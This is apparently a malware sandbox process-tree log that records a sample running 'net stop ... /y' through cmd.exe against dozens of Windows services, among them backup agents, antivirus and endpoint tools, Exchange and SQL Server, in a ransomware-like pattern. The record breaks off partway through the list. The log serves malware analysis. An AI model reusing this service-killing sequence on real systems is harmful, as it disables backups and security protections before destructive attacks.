C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop "Veeam Backup Catalog Data Service" /y
2⤵
PID:3900

C:\Windows\SysWOW64\net.exe
net stop "Veeam Backup Catalog Data Service" /y
3⤵
PID:3188

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop "Veeam Backup Catalog Data Service" /y
4⤵
PID:3848

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop AcronisAgent /y
2⤵
PID:1860

C:\Windows\SysWOW64\net.exe
net stop AcronisAgent /y
3⤵
PID:3096

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcronisAgent /y
4⤵
PID:2600

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop AcrSch2Svc /y
2⤵
PID:3964

C:\Windows\SysWOW64\net.exe
net stop AcrSch2Svc /y
3⤵
PID:496

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop AcrSch2Svc /y
4⤵
PID:3236

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop Antivirus /y
2⤵
PID:2836

C:\Windows\SysWOW64\net.exe
net stop Antivirus /y
3⤵
PID:3584

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Antivirus /y
4⤵
PID:572

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop ARSM /y
2⤵
PID:3776

C:\Windows\SysWOW64\net.exe
net stop ARSM /y
3⤵
PID:1212

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ARSM /y
4⤵
PID:660

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop BackupExecAgentAccelerator /y
2⤵
PID:1464

C:\Windows\SysWOW64\net.exe
net stop BackupExecAgentAccelerator /y
3⤵
PID:1624

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentAccelerator /y
4⤵
PID:576

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop BackupExecAgentBrowser /y
2⤵
PID:2044

C:\Windows\SysWOW64\net.exe
net stop BackupExecAgentBrowser /y
3⤵
PID:2352

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecAgentBrowser /y
4⤵
PID:2676

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop BackupExecDeviceMediaService /y
2⤵
PID:3292

C:\Windows\SysWOW64\net.exe
net stop BackupExecDeviceMediaService /y
3⤵
PID:2684

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecDeviceMediaService /y
4⤵
PID:3884

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop BackupExecJobEngine /y
2⤵
PID:3968

C:\Windows\SysWOW64\net.exe
net stop BackupExecJobEngine /y
3⤵
PID:2916

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecJobEngine /y
4⤵
PID:3440

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop BackupExecManagementService /y
2⤵
PID:3952

C:\Windows\SysWOW64\net.exe
net stop BackupExecManagementService /y
3⤵
PID:3088

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecManagementService /y
4⤵
PID:992

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop BackupExecRPCService /y
2⤵
PID:2584

C:\Windows\SysWOW64\net.exe
net stop BackupExecRPCService /y
3⤵
PID:1800

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecRPCService /y
4⤵
PID:1892

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop BackupExecVSSProvider /y
2⤵
PID:628

C:\Windows\SysWOW64\net.exe
net stop BackupExecVSSProvider /y
3⤵
PID:568

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop BackupExecVSSProvider /y
4⤵
PID:1224

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop bedbg /y
2⤵
PID:804

C:\Windows\SysWOW64\net.exe
net stop bedbg /y
3⤵
PID:1524

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop bedbg /y
4⤵
PID:2688

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop DCAgent /y
2⤵
PID:3076

C:\Windows\SysWOW64\net.exe
net stop DCAgent /y
3⤵
PID:3304

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop DCAgent /y
4⤵
PID:2644

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop EPSecurityService /y
2⤵
PID:2508

C:\Windows\SysWOW64\net.exe
net stop EPSecurityService /y
3⤵
PID:3192

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EPSecurityService /y
4⤵
PID:3540

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop EPUpdateService /y
2⤵
PID:784

C:\Windows\SysWOW64\net.exe
net stop EPUpdateService /y
3⤵
PID:60

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EPUpdateService /y
4⤵
PID:3616

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop EraserSvc11710 /y
2⤵
PID:3656

C:\Windows\SysWOW64\net.exe
net stop EraserSvc11710 /y
3⤵
PID:1444

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EraserSvc11710 /y
4⤵
PID:668

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop EsgShKernel /y
2⤵
PID:908

C:\Windows\SysWOW64\net.exe
net stop EsgShKernel /y
3⤵
PID:4044

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop EsgShKernel /y
4⤵
PID:1328

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop FA_Scheduler /y
2⤵
PID:2400

C:\Windows\SysWOW64\net.exe
net stop FA_Scheduler /y
3⤵
PID:3864

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop FA_Scheduler /y
4⤵
PID:2212

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop IISAdmin /y
2⤵
PID:3868

C:\Windows\SysWOW64\net.exe
net stop IISAdmin /y
3⤵
PID:3904

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop IISAdmin /y
4⤵
PID:2948

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop IMAP4Svc /y
2⤵
PID:796

C:\Windows\SysWOW64\net.exe
net stop IMAP4Svc /y
3⤵
PID:3740

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop IMAP4Svc /y
4⤵
PID:1060

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop McShield /y
2⤵
PID:3136

C:\Windows\SysWOW64\net.exe
net stop McShield /y
3⤵
PID:1452

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McShield /y
4⤵
PID:1544

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop McTaskManager /y
2⤵
PID:420

C:\Windows\SysWOW64\net.exe
net stop McTaskManager /y
3⤵
PID:3448

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop McTaskManager /y
4⤵
PID:3872

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop mfemms /y
2⤵
PID:4040

C:\Windows\SysWOW64\net.exe
net stop mfemms /y
3⤵
PID:3380

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mfemms /y
4⤵
PID:3560

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop mfevtp /y
2⤵
PID:2824

C:\Windows\SysWOW64\net.exe
net stop mfevtp /y
3⤵
PID:3716

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mfevtp /y
4⤵
PID:808

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MMS /y
2⤵
PID:2500

C:\Windows\SysWOW64\net.exe
net stop MMS /y
3⤵
PID:1468

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MMS /y
4⤵
PID:2092

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop mozyprobackup /y
2⤵
PID:2680

C:\Windows\SysWOW64\net.exe
net stop mozyprobackup /y
3⤵
PID:3772

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop mozyprobackup /y
4⤵
PID:3908

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MsDtsServer /y
2⤵
PID:4092

C:\Windows\SysWOW64\net.exe
net stop MsDtsServer /y
3⤵
PID:3548

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MsDtsServer /y
4⤵
PID:3768

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MsDtsServer100 /y
2⤵
PID:3928

C:\Windows\SysWOW64\net.exe
net stop MsDtsServer100 /y
3⤵
PID:2292

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MsDtsServer100 /y
4⤵
PID:1528

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MsDtsServer110 /y
2⤵
PID:2444

C:\Windows\SysWOW64\net.exe
net stop MsDtsServer110 /y
3⤵
PID:3264

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MsDtsServer110 /y
4⤵
PID:2828

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSExchangeES /y
2⤵
PID:2840

C:\Windows\SysWOW64\net.exe
net stop MSExchangeES /y
3⤵
PID:624

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeES /y
4⤵
PID:1536

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSExchangeIS /y
2⤵
PID:1136

C:\Windows\SysWOW64\net.exe
net stop MSExchangeIS /y
3⤵
PID:2052

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeIS /y
4⤵
PID:3364

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSExchangeMGMT /y
2⤵
PID:360

C:\Windows\SysWOW64\net.exe
net stop MSExchangeMGMT /y
3⤵
PID:1128

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeMGMT /y
4⤵
PID:2300

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSExchangeMTA /y
2⤵
PID:2716

C:\Windows\SysWOW64\net.exe
net stop MSExchangeMTA /y
3⤵
PID:2808

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeMTA /y
4⤵
PID:3880

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSExchangeSA /y
2⤵
PID:3356

C:\Windows\SysWOW64\net.exe
net stop MSExchangeSA /y
3⤵
PID:2952

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeSA /y
4⤵
PID:3436

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSExchangeSRS /y
2⤵
PID:1000

C:\Windows\SysWOW64\net.exe
net stop MSExchangeSRS /y
3⤵
PID:3844

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSExchangeSRS /y
4⤵
PID:856

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSOLAP$SQL_2008 /y
2⤵
PID:1228

C:\Windows\SysWOW64\net.exe
net stop MSOLAP$SQL_2008 /y
3⤵
PID:2296

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP$SQL_2008 /y
4⤵
PID:3300

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSOLAP$SYSTEM_BGC /y
2⤵
PID:1888

C:\Windows\SysWOW64\net.exe
net stop MSOLAP$SYSTEM_BGC /y
3⤵
PID:2924

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP$SYSTEM_BGC /y
4⤵
PID:2692

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSOLAP$TPS /y
2⤵
PID:680

C:\Windows\SysWOW64\net.exe
net stop MSOLAP$TPS /y
3⤵
PID:1144

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP$TPS /y
4⤵
PID:748

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSOLAP$TPSAMA /y
2⤵
PID:2696

C:\Windows\SysWOW64\net.exe
net stop MSOLAP$TPSAMA /y
3⤵
PID:3056

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSOLAP$TPSAMA /y
4⤵
PID:3184

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSSQL$BKUPEXEC /y
2⤵
PID:2572

C:\Windows\SysWOW64\net.exe
net stop MSSQL$BKUPEXEC /y
3⤵
PID:632

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$BKUPEXEC /y
4⤵
PID:2944

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSSQL$ECWDB2 /y
2⤵
PID:4104

C:\Windows\SysWOW64\net.exe
net stop MSSQL$ECWDB2 /y
3⤵
PID:4140

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$ECWDB2 /y
4⤵
PID:4160

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSSQL$PRACTICEMGT /y
2⤵
PID:4180

C:\Windows\SysWOW64\net.exe
net stop MSSQL$PRACTICEMGT /y
3⤵
PID:4216

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$PRACTICEMGT /y
4⤵
PID:4236

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSSQL$PRACTTICEBGC /y
2⤵
PID:4256

C:\Windows\SysWOW64\net.exe
net stop MSSQL$PRACTTICEBGC /y
3⤵
PID:4292

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$PRACTTICEBGC /y
4⤵
PID:4312

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSSQL$PROFXENGAGEMENT /y
2⤵
PID:4332

C:\Windows\SysWOW64\net.exe
net stop MSSQL$PROFXENGAGEMENT /y
3⤵
PID:4368

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$PROFXENGAGEMENT /y
4⤵
PID:4388

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSSQL$SBSMONITORING /y
2⤵
PID:4408

C:\Windows\SysWOW64\net.exe
net stop MSSQL$SBSMONITORING /y
3⤵
PID:4444

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$SBSMONITORING /y
4⤵
PID:4464

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSSQL$SHAREPOINT /y
2⤵
PID:4484

C:\Windows\SysWOW64\net.exe
net stop MSSQL$SHAREPOINT /y
3⤵
PID:4520

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$SHAREPOINT /y
4⤵
PID:4540

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSSQL$SQL_2008 /y
2⤵
PID:4560

C:\Windows\SysWOW64\net.exe
net stop MSSQL$SQL_2008 /y
3⤵
PID:4596

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$SQL_2008 /y
4⤵
PID:4616

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSSQL$SYSTEM_BGC /y
2⤵
PID:4636

C:\Windows\SysWOW64\net.exe
net stop MSSQL$SYSTEM_BGC /y
3⤵
PID:4672

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$SYSTEM_BGC /y
4⤵
PID:4692

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSSQL$TPS /y
2⤵
PID:4712

C:\Windows\SysWOW64\net.exe
net stop MSSQL$TPS /y
3⤵
PID:4748

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$TPS /y
4⤵
PID:4768

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSSQL$TPSAMA /y
2⤵
PID:4792

C:\Windows\SysWOW64\net.exe
net stop MSSQL$TPSAMA /y
3⤵
PID:4828

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$TPSAMA /y
4⤵
PID:4848

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSSQL$VEEAMSQL2008R2 /y
2⤵
PID:4868

C:\Windows\SysWOW64\net.exe
net stop MSSQL$VEEAMSQL2008R2 /y
3⤵
PID:4904

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2008R2 /y
4⤵
PID:4924

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSSQL$VEEAMSQL2012 /y
2⤵
PID:4944

C:\Windows\SysWOW64\net.exe
net stop MSSQL$VEEAMSQL2012 /y
3⤵
PID:4984

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQL$VEEAMSQL2012 /y
4⤵
PID:5004

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSSQLFDLauncher /y
2⤵
PID:5024

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher /y
3⤵
PID:5060

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher /y
4⤵
PID:5080

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSSQLFDLauncher$PROFXENGAGEMENT /y
2⤵
PID:5116

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher$PROFXENGAGEMENT /y
3⤵
PID:4112

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher$PROFXENGAGEMENT /y
4⤵
PID:4172

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSSQLFDLauncher$SBSMONITORING /y
2⤵
PID:4132

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher$SBSMONITORING /y
3⤵
PID:4244

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher$SBSMONITORING /y
4⤵
PID:4228

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSSQLFDLauncher$SHAREPOINT /y
2⤵
PID:4204

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher$SHAREPOINT /y
3⤵
PID:4316

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher$SHAREPOINT /y
4⤵
PID:4288

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSSQLFDLauncher$SQL_2008 /y
2⤵
PID:4348

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher$SQL_2008 /y
3⤵
PID:4364

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher$SQL_2008 /y
4⤵
PID:4416

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSSQLFDLauncher$SYSTEM_BGC /y
2⤵
PID:4456

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher$SYSTEM_BGC /y
3⤵
PID:4528

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher$SYSTEM_BGC /y
4⤵
PID:4536

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSSQLFDLauncher$TPS /y
2⤵
PID:4488

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher$TPS /y
3⤵
PID:4628

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher$TPS /y
4⤵
PID:4588

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSSQLFDLauncher$TPSAMA /y
2⤵
PID:4644

C:\Windows\SysWOW64\net.exe
net stop MSSQLFDLauncher$TPSAMA /y
3⤵
PID:4676

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLFDLauncher$TPSAMA /y
4⤵
PID:4656

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSSQLSERVER /y
2⤵
PID:4776

C:\Windows\SysWOW64\net.exe
net stop MSSQLSERVER /y
3⤵
PID:4740

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLSERVER /y
4⤵
PID:4800

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSSQLServerADHelper100 /y
2⤵
PID:4860

C:\Windows\SysWOW64\net.exe
net stop MSSQLServerADHelper100 /y
3⤵
PID:4812

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLServerADHelper100 /y
4⤵
PID:4940

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MSSQLServerOLAPService /y
2⤵
PID:4908

C:\Windows\SysWOW64\net.exe
net stop MSSQLServerOLAPService /y
3⤵
PID:4992

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MSSQLServerOLAPService /y
4⤵
PID:5000

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop MySQL57 /y
2⤵
PID:4948

C:\Windows\SysWOW64\net.exe
net stop MySQL57 /y
3⤵
PID:5084

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop MySQL57 /y
4⤵
PID:5052

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop ntrtscan /y
2⤵
PID:5036

C:\Windows\SysWOW64\net.exe
net stop ntrtscan /y
3⤵
PID:4176

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ntrtscan /y
4⤵
PID:832

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop OracleClientCache80 /y
2⤵
PID:4124

C:\Windows\SysWOW64\net.exe
net stop OracleClientCache80 /y
3⤵
PID:4196

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop OracleClientCache80 /y
4⤵
PID:4128

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop PDVFSService /y
2⤵
PID:4340

C:\Windows\SysWOW64\net.exe
net stop PDVFSService /y
3⤵
PID:4320

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop PDVFSService /y
4⤵
PID:4356

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop POP3Svc /y
2⤵
PID:4344

C:\Windows\SysWOW64\net.exe
net stop POP3Svc /y
3⤵
PID:4440

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop POP3Svc /y
4⤵
PID:4512

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop ReportServer /y
2⤵
PID:4552

C:\Windows\SysWOW64\net.exe
net stop ReportServer /y
3⤵
PID:4612

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer /y
4⤵
PID:4620

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop ReportServer$SQL_2008 /y
2⤵
PID:4604

C:\Windows\SysWOW64\net.exe
net stop ReportServer$SQL_2008 /y
3⤵
PID:4640

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer$SQL_2008 /y
4⤵
PID:4652

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop ReportServer$SYSTEM_BGC /y
2⤵
PID:4772

C:\Windows\SysWOW64\net.exe
net stop ReportServer$SYSTEM_BGC /y
3⤵
PID:4744

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer$SYSTEM_BGC /y
4⤵
PID:4780

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop ReportServer$TPS /y
2⤵
PID:4916

C:\Windows\SysWOW64\net.exe
net stop ReportServer$TPS /y
3⤵
PID:4852

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer$TPS /y
4⤵
PID:4892

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop ReportServer$TPSAMA /y
2⤵
PID:4996

C:\Windows\SysWOW64\net.exe
net stop ReportServer$TPSAMA /y
3⤵
PID:4872

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ReportServer$TPSAMA /y
4⤵
PID:5044

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop RESvc /y
2⤵
PID:5064

C:\Windows\SysWOW64\net.exe
net stop RESvc /y
3⤵
PID:4120

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop RESvc /y
4⤵
PID:3168

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop sacsvr /y
2⤵
PID:4144

C:\Windows\SysWOW64\net.exe
net stop sacsvr /y
3⤵
PID:4192

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sacsvr /y
4⤵
PID:4252

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop SamSs /y
2⤵
PID:4260

C:\Windows\SysWOW64\net.exe
net stop SamSs /y
3⤵
PID:4300

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SamSs /y
4⤵
PID:4296

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop SAVAdminService /y
2⤵
PID:4532

C:\Windows\SysWOW64\net.exe
net stop SAVAdminService /y
3⤵
PID:4352

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SAVAdminService /y
4⤵
PID:4420

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop SAVService /y
2⤵
PID:4592

C:\Windows\SysWOW64\net.exe
net stop SAVService /y
3⤵
PID:4428

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SAVService /y
4⤵
PID:4664

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop SDRSVC /y
2⤵
PID:4684

C:\Windows\SysWOW64\net.exe
net stop SDRSVC /y
3⤵
PID:4836

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SDRSVC /y
4⤵
PID:4876

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop SepMasterService /y
2⤵
PID:4732

C:\Windows\SysWOW64\net.exe
net stop SepMasterService /y
3⤵
PID:4988

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SepMasterService /y
4⤵
PID:4840

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop ShMonitor /y
2⤵
PID:4804

C:\Windows\SysWOW64\net.exe
net stop ShMonitor /y
3⤵
PID:5048

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop ShMonitor /y
4⤵
PID:4888

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop Smcinst /y
2⤵
PID:5096

C:\Windows\SysWOW64\net.exe
net stop Smcinst /y
3⤵
PID:3684

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop Smcinst /y
4⤵
PID:5088

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop SmcService /y
2⤵
PID:4212

C:\Windows\SysWOW64\net.exe
net stop SmcService /y
3⤵
PID:4276

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SmcService /y
4⤵
PID:4208

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop SMTPSvc /y
2⤵
PID:4412

C:\Windows\SysWOW64\net.exe
net stop SMTPSvc /y
3⤵
PID:4452

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SMTPSvc /y
4⤵
PID:4376

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop SQLAgent$BKUPEXEC /y
2⤵
PID:4500

C:\Windows\SysWOW64\net.exe
net stop SQLAgent$BKUPEXEC /y
3⤵
PID:4584

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent$BKUPEXEC /y
4⤵
PID:4696

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop SQLAgent$ECWDB2 /y
2⤵
PID:4436

C:\Windows\SysWOW64\net.exe
net stop SQLAgent$ECWDB2 /y
3⤵
PID:4764

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent$ECWDB2 /y
4⤵
PID:4832

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop SQLAgent$PRACTTICEBGC /y
2⤵
PID:4756

C:\Windows\SysWOW64\net.exe
net stop SQLAgent$PRACTTICEBGC /y
3⤵
PID:4824

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent$PRACTTICEBGC /y
4⤵
PID:4820

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop SQLAgent$PRACTTICEMGT /y
2⤵
PID:4932

C:\Windows\SysWOW64\net.exe
net stop SQLAgent$PRACTTICEMGT /y
3⤵
PID:5028

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent$PRACTTICEMGT /y
4⤵
PID:5032

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop SQLAgent$PROFXENGAGEMENT /y
2⤵
PID:5040

C:\Windows\SysWOW64\net.exe
net stop SQLAgent$PROFXENGAGEMENT /y
3⤵
PID:5068

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent$PROFXENGAGEMENT /y
4⤵
PID:4220

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop SQLAgent$SBSMONITORING /y
2⤵
PID:4200

C:\Windows\SysWOW64\net.exe
net stop SQLAgent$SBSMONITORING /y
3⤵
PID:4248

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent$SBSMONITORING /y
4⤵
PID:4632

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop SQLAgent$SHAREPOINT /y
2⤵
PID:4476

C:\Windows\SysWOW64\net.exe
net stop SQLAgent$SHAREPOINT /y
3⤵
PID:4508

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop SQLAgent$SHAREPOINT /y
4⤵
PID:4704

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c net stop SQLAgent$SQL_2008 /y
2⤵
PID:4516

